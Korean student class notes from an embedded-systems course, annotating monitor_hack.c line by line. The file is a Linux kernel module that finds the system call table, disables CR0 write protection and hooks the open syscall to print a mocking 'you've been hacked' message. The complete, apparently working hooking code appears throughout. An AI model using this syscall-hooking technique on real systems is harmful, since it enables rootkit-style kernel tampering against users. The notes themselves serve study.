TI DSP,MCU 및 Xilinux Zynq FPGA

프로그래밍 전문가 과정

이름	문지희
학생 이메일	mjh8127@naver.com
날짜	2018/4/19
수업일수	41 일차
담당강사	Innova Lee(이상훈)
강사 이메일	gcccompil3r@gmail.com

목차

- screen

1. monitor_hack.c 분석

-screen

sudo apt-get install screen

: screen 앱 다운

: 한 창에 여러 개의 터미널을 생성할 수 있음.

ctrl + a +c : 새로운 터미널 생성

ctrl + aa : 터미널 변경

1. monitor_hack.c 분석

```
// Ubuntu 16.04.1
#include <linux/kernel.h>
#include <linux/module.h>
#include <asm/unistd.h>
#include <linux/syscalls.h>
#include <linux/hugetlb.h>

#include <linux/fs.h>
#include <asm/segment.h>
#include <linux/buffer_head.h>

unsigned long **sys_call_table;

unsigned long **locate_sys_call_table(void)
{
        unsigned long tmp;
        unsigned long *p;
        unsigned long **sys_table;

        for(tmp = 0xffffffff81000000; tmp < 0xffffffffa2000000; tmp += sizeof(void *))
        { // tmp 값이 8 씩 증가하며 반복
                p = (unsigned long *)tmp; //p 에 tmp 의 주소 값을 넣음
                if(p[__NR_close] == (unsigned long)sys_close)
                #define __NR_close 6
                __SYSCALL(__NR_close, sys_close)
                {
                        sys_table = (unsigned long **)p;
                        return &sys_table[0]; //p 값 리턴
                }
```

??? p[6]에 저장된 주소 값이랑 sys_close 같으면..? 머라는거여

```
        }

        return NULL; //for 문 다 돌았는데도 if 문 만족하지 못하면 NULL 리턴
}

int file_write(struct file *file, unsigned long long offset,
                        unsigned char *data, unsigned int size)
{
        mm_segment_t oldfs;
        int ret;

        oldfs = get_fs();
        set_fs(get_ds());

        ret = vfs_write(file, data, size, &offset);

        set_fs(oldfs);

        return ret;
}

struct file *file_open(const char *filename, int flags, int mode)
{
        struct file *filp = NULL;
        mm_segment_t oldfs;
        int err = 0;

        oldfs = get_fs();
        set_fs(get_ds());

        filp = filp_open(filename, flags, mode);
        set_fs(oldfs);
```

```
	if(IS_ERR(filp))
	{
		err = PTR_ERR(filp);
		return NULL;
	}

	return filp;
}

void file_close(struct file *file)
{
	filp_close(file, NULL);
}

asmlinkage long (* orig_call)(const char __user *, int, umode_t);

asmlinkage long sys_our_open(const char __user *filename, int flags, umode_t mode)
{
	long ret;
	int write_ret;
	struct file *filp = NULL;

	ret = orig_call(filename, flags, mode);
	printk(KERN_DEBUG "file %s has opened with mode %d₩n", filename, mode);
	filp = file_open("/proc/self/fd/1", O_WRONLY, 0644);

	write_ret = file_write(filp, 0, "너 해킹 당했어 멍청아! 그것도 실력이라고 달고 사냐 ? ㅋㅋㅋ₩n", 84);

	file_close(filp);

	return ret;
```

```
}
#if 0
asmlinkage long sys_our_open(const char __user *filename, int flags, umode_t mode)
{
        printk("<0>Open System Call₩n");
        return (orig_call(filename, flags, mode));
}
#endif

static int (*fixed_set_memory_rw)(unsigned long, int);

int syscall_hooking_init(void)
{
        unsigned long cr0;

        if((sys_call_table = locate_sys_call_table()) == NULL)
        {
          //주소 값이 전역변수 sys_call_table 에 저장
          //주소 값이 NULL 일 때 sys_call_table 못 찾겠다 라는 말이 커널에 출력
                printk("<0>Can't find sys_call_table₩n");
                return -1;
        }
        printk("<0>sys_call_table is at[%p]₩n", sys_call_table);
         // 주소 값이 NULL 이 아닌 다른 값을 가지면 sys_call_table 의 주소 값을 커널에 출력함

        cr0 = read_cr0();
        //CR0 레지스터를 읽음
```

```
static inline unsigned long read_cr0(void)
{
        return native_read_cr0();
}
```

```
static inline unsigned long native_read_cr0(void)
{
        unsigned long val;
        asm volatile("mov %%cr0,%0\n\t" : "=r" (val), "=m" (__force_order));
        return val;
}
```
// asm volatile 구동시킬 명령어 : 출력 : 입력 : 어셈블리 지시어
// cr0의 값이 val로 전달 됨

write_cr0(cr0 & ~0x00010000);
//16 번째 비트를 0 으로 만들겠다, 페이지 쓰기를 허용한다

```
static inline void write_cr0(unsigned long x)
{
        PVOP_VCALL1(pv_cpu_ops.write_cr0, x);
}
```

```
#define PVOP_VCALL1(op, arg1)                                           \
        __PVOP_VCALL(op, "", "", PVOP_CALL_ARG1(arg1))
#define PVOP_CALL_ARG1(x)               "a" ((unsigned long)(x))
```
두개 중에 어떤 것 인지 모르겠다ㅠ

```
#define PVOP_CALL_ARG1(x)               "D" ((unsigned long)(x))
```
// “a”나 “D”를 인자로 __PVOP_VCALL 실행

```
#define __PVOP_VCALL(op, pre, post, ...)                                \
        ____PVOP_VCALL(op, CLBR_ANY, PVOP_VCALL_CLOBBERS,               \
                       VEXTRA_CLOBBERS,                                 \
                       pre, post, ##__VA_ARGS__)

#define ____PVOP_VCALL(op, clbr, call_clbr, extra_clbr, pre, post, ...) \
        ({                                                              \
                PVOP_VCALL_ARGS;                                        \
                PVOP_TEST_NULL(op);                                     \
                asm volatile(pre                                        \
                             paravirt_alt(PARAVIRT_CALL)                \
                             post                                       \
                             : call_clbr                                \
                             : paravirt_type(op),                       \
                               paravirt_clobber(clbr),                  \
                               ##__VA_ARGS__                            \
                             : "memory", "cc" extra_clbr);              \
        })
```
// __PVOP_VCALL 끝까지 따라가보면 어셈블리어가 나온다…….. 머라는지 모르겟다……

fixed_set_memory_rw = (void *)kallsyms_lookup_name("set_memory_rw");

```
/* Lookup the address for this symbol. Returns 0 if not found. */
unsigned long kallsyms_lookup_name(const char *name)
{
        char namebuf[KSYM_NAME_LEN];
        unsigned long i;
        unsigned int off;

        for (i = 0, off = 0; i < kallsyms_num_syms; i++) {
                off = kallsyms_expand_symbol(off, namebuf, ARRAY_SIZE(namebuf));

                if (strcmp(namebuf, name) == 0)
                        return kallsyms_addresses[i];
        }
        return module_kallsyms_lookup_name(name);
}
EXPORT_SYMBOL_GPL(kallsyms_lookup_name);
```

```
#define KSYM_NAME_LEN 128
```
//namebuf[128] 배열 선언

```
#define ARRAY_SIZE(arr) (sizeof(arr) / sizeof((arr)[0]) + __must_be_array(arr))
```
// 배열 인자 개수가 ARRAY_SIZE = 128

```
/* Intel ECC compiler doesn't support __builtin_types_compatible_p() */
#define __must_be_array(a) 0
```
// intel 은 __must_be_array 가 0

```
static unsigned int kallsyms_expand_symbol(unsigned int off,
                                           char *result, size_t maxlen)
{
        int len, skipped_first = 0;
        const u8 *tptr, *data;

        /* Get the compressed symbol length from the first symbol byte. */
        data = &kallsyms_names[off];
        len = *data;
        data++;

        /*
         * Update the offset to return the offset for the next symbol on
         * the compressed stream.
         */
        off += len + 1;

        /*
         * For every byte on the compressed symbol data, copy the table
         * entry for that byte.
         */
        while (len) {
                tptr = &kallsyms_token_table[kallsyms_token_index[*data]];
                data++;
                len--;

                while (*tptr) {
                        if (skipped_first) {
                                if (maxlen <= 1)
                                        goto tail;
                                *result = *tptr;
                                result++;
                                maxlen--;
                        } else
                                skipped_first = 1;
                        tptr++;
                }
        }

tail:
        if (maxlen)
                *result = '\0';

        /* Return to offset to the next symbol. */
        return off;
}
```

// 뭔가를.. 잘못… 설정한건지… kallsyms_name 이 뜨지 않음 ㅜㅠㅜㅠㅜㅠㅠㅜ 사실 다ㅡㄹㄴ것도 그럼… 슬퍼요…
// data 는 주소값을 저장, len 은 data 의 포인터를 저장, off 는 len+1 을 하는데 주소 값에 1 을 더해…?
// len 값이 존재하면 while 루프 돌음
// 어쨌든 kallsyms_epand_symbol 은 off 값을 얻음

// for 문을 도는 중 if 문을 만족하여 namebuf 랑 name 이 같으면 kallsyms_addresses[i]리턴

// for 문을 다 돌았는데도 if 문을 만족하지 못하면 module_kallsyms_lookup_name 실행

```
/* Look for this name: can be of form module:name. */
unsigned long module_kallsyms_lookup_name(const char *name)
{
        struct module *mod;
        char *colon;
        unsigned long ret = 0;

        /* Don't lock: we're in enough trouble already. */
        preempt_disable();
        if ((colon = strchr(name, ':')) != NULL) {
                if ((mod = find_module_all(name, colon - name, false))
!= NULL)
                        ret = mod_find_symname(mod, colon+1);
        } else {
                list_for_each_entry_rcu(mod, &modules, list) {
                        if (mod->state == MODULE_STATE_UNFORMED)
                                continue;
                        if ((ret = mod_find_symname(mod, name)) != 0)
                                break;
                }
        }
        preempt_enable();
        return ret;
}
```

// name 중에 : 이 있으면 안의 if 문을 수행하고 아니면 else 를 수행한다.
// if :이 있으면
mod 에 find_module_all 리턴 값 넣기.

```
static struct module *find_module_all(const char *name, size_t len,
                                      bool even_unformed)
{
        struct module *mod;

        module_assert_mutex_or_preempt();

        list_for_each_entry(mod, &modules, list) {
                if (!even_unformed && mod->state == MODULE_STATE_UNFORM
ED)
                        continue;
                if (strlen(mod->name) == len && !memcmp(mod->name, name
, len))
                        return mod;
        }
        return NULL;
}
```

//내일…하도록…하겟습니ㅏㄷ….ㅠㅠㅠㅠ 끝이안ㄴ나요….

```
if(!fixed_set_memory_rw)
{
        printk("<0>Unable to find set_memory_rw symbol₩n");
        return 0;
}

fixed_set_memory_rw(PAGE_ALIGN((unsigned long)sys_call_table) - PAGE_SIZE, 3);
//시스템 콜 테이블이 위치한 물리 메모리에 읽고 쓰기 권한 주기

orig_call = (void *)sys_call_table[__NR_open];
sys_call_table[__NR_open] = (void *)sys_our_open;
write_cr0(cr0);
printk("<0>Hooking Success!₩n");
return 0;
}

void syscall_hooking_cleanup(void)
{
```

```
#if 1
        unsigned long cr0 = read_cr0();
        write_cr0(cr0 & ~0x00010000);
        sys_call_table[__NR_open] = orig_call;
        write_cr0(cr0);
        printk("<0>Module Cleanup₩n");
#endif
}

module_init(syscall_hooking_init);
module_exit(syscall_hooking_cleanup);
MODULE_LICENSE("GPL");
```